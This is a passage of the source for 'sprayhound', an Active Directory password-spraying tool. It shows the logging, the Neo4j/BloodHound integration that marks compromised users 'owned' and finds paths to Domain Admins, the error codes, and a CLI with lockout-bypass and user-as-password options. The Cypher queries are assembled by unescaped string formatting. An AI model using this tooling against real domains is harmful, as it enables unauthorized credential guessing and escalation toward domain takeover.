msg): 59 | msg = "\n ".join(msg.split("\n")) 60 | print("{}[+]{} {}".format(self.GREEN, self.DEFAULT, msg)) 61 | 62 | def raw(self, msg): 63 | print("{}".format(msg), end='') 64 | 65 | def input(self, question, answers, default=False): 66 | if default and default not in answers: 67 | raise Exception("Default answer not valid") 68 | 69 | answer = False 70 | while not answer or answer not in answers: 71 | answer = input(" {} [{}] ".format(question, "/".join(answer.upper() if answer == default else answer for answer in answers))) 72 | if not answer and default: 73 | answer = default 74 | return answer.lower() 75 | 76 | def highlight(self, msg): 77 | return "{}{}{}".format(self.YELLOW, msg, self.DEFAULT) 78 | 79 | def colorize(self, msg, color): 80 | return "{}{}{}".format(color, msg, self.DEFAULT) 81 | 82 | -------------------------------------------------------------------------------- /sprayhound/modules/neo4jconnection.py: -------------------------------------------------------------------------------- 1 | # Author: 2 | # Romain Bentz (pixis - @hackanddo) 3 | # Website: 4 | # https://beta.hackndo.com 5 | 6 | try: 7 | from neo4j.v1 import GraphDatabase 8 | except ImportError: 9 | from neo4j import GraphDatabase 10 | from neo4j.exceptions import AuthError, ServiceUnavailable 11 | 12 | from sprayhound.utils.defines import * 13 | 14 | 15 | class Neo4jConnection: 16 | class Options: 17 | def __init__(self, host, user, password, port, log, edge_blacklist=None): 18 | self.user = user 19 | self.password = password 20 | self.host = host 21 | self.port = port 22 | self.log = log 23 | self.edge_blacklist = edge_blacklist if edge_blacklist is not None else [] 24 | 25 | def __init__(self, options): 26 | self.user = options.user 27 | self.password = options.password 28 | self.log = options.log 29 | self.edge_blacklist = options.edge_blacklist 30 | self._uri = "bolt://{}:{}".format(options.host, options.port) 31 | try: 32 | self._get_driver() 33 | except Exception as e: 34 | self.log.error("Failed to connect to Neo4J database") 35 | raise 36 | 37 | def set_as_owned(self, username, domain): 38 | user = self._format_username(username, domain) 39 | query = "MATCH (u:User {{name:\"{}\"}}) SET u.owned=True RETURN u.name AS name".format(user) 40 | self.log.debug("Query : {}".format(query)) 41 | result = self._run_query(query) 42 | if len(result) > 0: 43 | return ERROR_SUCCESS 44 | else: 45 | return ERROR_NEO4J_NON_EXISTENT_NODE 46 | 47 | def bloodhound_analysis(self, username, domain): 48 | 49 | edges = [ 50 | "MemberOf", 51 | "HasSession", 52 | "AdminTo", 53 | "AllExtendedRights", 54 | "AddMember", 55 | "ForceChangePassword", 56 | "GenericAll", 57 | "GenericWrite", 58 | "Owns", 59 | "WriteDacl", 60 | "WriteOwner", 61 | "CanRDP", 62 | "ExecuteDCOM", 63 | "AllowedToDelegate", 64 | "ReadLAPSPassword", 65 | "Contains", 66 | "GpLink", 67 | "AddAllowedToAct", 68 | "AllowedToAct", 69 | "SQLAdmin" 70 | ] 71 | # Remove blacklisted edges 72 | without_edges = [e.lower() for e in self.edge_blacklist] 73 | effective_edges = [edge for edge in edges if edge.lower() not in without_edges] 74 | 75 | user = self._format_username(username, domain) 76 | value = None 77 | 78 | with self._driver.session() as session: 79 | with session.begin_transaction() as tx: 80 | query = """ 81 | MATCH (n:User {{name:\"{}\"}}),(m:Group),p=shortestPath((n)-[r:{}*1..]->(m)) 82 | WHERE m.objectsid ENDS WITH "-512" OR m.objectid ENDS WITH "-512" 83 | RETURN COUNT(p) AS pathNb 84 | """.format(user, '|'.join(effective_edges)) 85 | 86 | self.log.debug("Query : {}".format(query)) 87 | value = tx.run(query).value() 88 | return ERROR_SUCCESS if value[0] > 0 else ERROR_NO_PATH 89 | 90 | def clean(self): 91 | if self._driver is not None: 92 | self._driver.close() 93 | return ERROR_SUCCESS 94 | 95 | def _run_query(self, query): 96 | value = None 97 | with self._driver.session() as session: 98 | with session.begin_transaction() as tx: 99 | res = tx.run(query) 100 | value = res.value() 101 | return value 102 | 103 | def _get_driver(self): 104 | try: 105 | self._driver = GraphDatabase.driver(self._uri, auth=(self.user, self.password)) 106 | return ERROR_SUCCESS 107 | except AuthError as e: 108 | self.log.error("Neo4j invalid credentials {}:{}".format(self.user, self.password)) 109 | raise 110 | except ServiceUnavailable as e: 111 | self.log.error("Neo4j database unavailable at {}".format(self._uri)) 112 | raise 113 | except Exception as e: 114 | self.log.error("An unexpected error occurred while connecting to Neo4J database {} ({}:{})".format(self._uri, self.user, self.password)) 115 | raise 116 | 117 | @staticmethod 118 | def _format_username(user, domain): 119 | return (user + "@" + domain).upper() -------------------------------------------------------------------------------- /sprayhound/utils/__init__.py: -------------------------------------------------------------------------------- 1 | # Author: 2 | # Romain Bentz (pixis - @hackanddo) 3 | # Website: 4 | # https://beta.hackndo.com 5 | 6 | -------------------------------------------------------------------------------- /sprayhound/utils/defines.py: -------------------------------------------------------------------------------- 1 | # Author: 2 | # Romain Bentz (pixis - @hackanddo) 3 | # Website: 4 | # https://beta.hackndo.com 5 | 6 | # Generic Errors 7 | ERROR_SUCCESS = (0, "") 8 | ERROR_MISSING_ARGUMENTS = (1, "") 9 | ERROR_USER_FILE_NOT_FOUND = (2, "Users file does not exist") 10 | ERROR_NO_USER_NO_LDAP = (3, "Either provide ldap credentials or user(s)") 11 | ERROR_THRESHOLD = (4, "Bad password count reached threshold") 12 | ERROR_PSO = (5, "User is discarded because a PSO is applied") 13 | 14 | # Neo4J Errors 15 | ERROR_NEO4J_CREDENTIALS = (100, "Neo4j credentials are not valid") 16 | ERROR_NEO4J_SERVICE_UNAVAILABLE = (101, "Neo4j is not available") 17 | ERROR_NEO4J_NON_EXISTENT_NODE = (102, "Node does not exist in database") 18 | ERROR_NO_PATH = (103, "No admin path from this node") 19 | ERROR_NEO4J_UNEXPECTED = (199, "Unexpected error with Neo4J") 20 | 21 | # Ldap Errors 22 | ERROR_LDAP_CREDENTIALS = (200, "Ldap credentials are not valid") 23 | ERROR_LDAP_SERVICE_UNAVAILABLE = (201, "Ldap is not available") 24 | ERROR_LDAP_NO_CREDENTIALS = (202, "No credentials provided") 25 | ERROR_LDAP_NOT_FQDN_DOMAIN = (203, "Invalid domain") 26 | ERROR_LDAP_UNEXPECTED = (299, "Unexpected error with Ldap") 27 | 28 | 29 | ERROR_UNDEFINED = (-1, "Unknown error") 30 | 31 | 32 | class RetCode: 33 | def __init__(self, error, exception=None): 34 | self.error_code = error[0] 35 | self.error_msg = error[1] 36 | self.error_exception = exception 37 | 38 | def success(self): 39 | return self.error_code == 0 40 | 41 | def __str__(self): 42 | return "{} : {}".format(self.error_code, self.error_msg) 43 | 44 | def __eq__(self, other): 45 | if isinstance(other, RetCode): 46 | return self.error_code == other.error_code 47 | elif isinstance(other, int): 48 | return self.error_code == other 49 | elif isinstance(other, tuple): 50 | return self.error_code == other[0] 51 | return NotImplemented 52 | 53 | def __ne__(self, other): 54 | x = self.__eq__(other) 55 | if x is not NotImplemented: 56 | return not x 57 | return NotImplemented 58 | 59 | def __hash__(self): 60 | return hash(tuple(sorted(self.__dict__.items()))) -------------------------------------------------------------------------------- /sprayhound/utils/utils.py: -------------------------------------------------------------------------------- 1 | # Author: 2 | # Romain Bentz (pixis - @hackanddo) 3 | # Website: 4 | # https://beta.hackndo.com 5 | 6 | import sys 7 | import argparse 8 | import pkg_resources 9 | 10 | from sprayhound.utils.defines import * 11 | 12 | version = pkg_resources.require("sprayhound")[0].version 13 | 14 | 15 | def get_args(): 16 | examples = '''example: 17 | sprayhound -d adsec.local -p Winter202 18 | sprayhound -U userlist.txt -d adsec.local 19 | ''' 20 | 21 | parser = argparse.ArgumentParser( 22 | prog="sprayhound", 23 | description='sprayhound v{} - Password spraying'.format(version), 24 | epilog=examples, 25 | formatter_class=argparse.RawTextHelpFormatter 26 | ) 27 | 28 | group_credentials = parser.add_argument_group('credentials') 29 | group_credentials.add_argument('-u', '--username', action='store', help="Username") 30 | group_credentials.add_argument('-U', '--userfile', action='store', help="File containing username list") 31 | group_credentials_exclu = group_credentials.add_mutually_exclusive_group() 32 | group_credentials_exclu.add_argument('-p', '--password', action='store', help="Password") 33 | group_credentials_exclu.add_argument('--lower', action='store_true', help="User as pass with lowercase password") 34 | group_credentials_exclu.add_argument('--upper', action='store_true', help="User as pass with uppercase password") 35 | group_credentials.add_argument('-t', '--threshold', action='store', type=int, default=1, help="Number of password left allowed before locked out") 36 | 37 | group_ldap = parser.add_argument_group('ldap') 38 | group_ldap.add_argument('-dc', '--domain-controller', action='store', help='Domain controller') 39 | group_ldap.add_argument('-d', '--domain', action='store', help='Domain FQDN') 40 | group_ldap.add_argument('-lP', '--ldap-port', default='389', action='store', help='LDAP Port') 41 | group_ldap.add_argument('-lu', '--ldap-user', action='store', help='LDAP User') 42 | group_ldap.add_argument('-lp', '--ldap-pass', action='store', help='LDAP Password') 43 | group_ldap.add_argument('-lssl', '--ldap-ssl', action='store_true', help='LDAP over TLS (ldaps)') 44 | group_ldap.add_argument('-lpage', '--ldap-page-size', type=int, default=200, help='LDAP Paging size (Default: 200)') 45 | 46 | group_neo4j = parser.add_argument_group('neo4j') 47 | group_neo4j.add_argument('-nh', '--neo4j-host', default='127.0.0.1', action='store', help='Neo4J Host (Default: 127.0.0.1)') 48 | group_neo4j.add_argument('-nP', '--neo4j-port', default='7687', action='store', help='Neo4J Port (Default: 7687)') 49 | group_neo4j.add_argument('-nu', '--neo4j-user', default='neo4j', action='store', help='Neo4J user (Default: neo4j)') 50 | group_neo4j.add_argument('-np', '--neo4j-pass', default='neo4j', action='store', help='Neo4J password (Default: neo4j)') 51 | 52 | parser.add_argument('--unsafe', action='store_true', help='Enable login tries on almost locked out accounts') 53 | parser.add_argument('--force', action='store_true', help='Do not prompt for user confirmation') 54 | parser.add_argument('--nocolor', action='store_true', help='Do not use color for output') 55 | 56 | parser.add_argument('-v', action='count', default=0, help='Verbosity level (-v or -vv)') 57 | 58 | if len(sys.argv) == 1: 59 | parser.print_help() 60 | sys.exit(RetCode(ERROR_MISSING_ARGUMENTS).error_code) 61 | 62 | return parser.parse_args() 63 | 64 | 65 | def sprayhound_exit(logger, error): 66 | logger.error(error[1]) 67 | sys.exit(error[0]) 68 | 69 | 70 | def sprayhound_error(logger, error): 71 | logger.error(error[1]) 72 | --------------------------------------------------------------------------------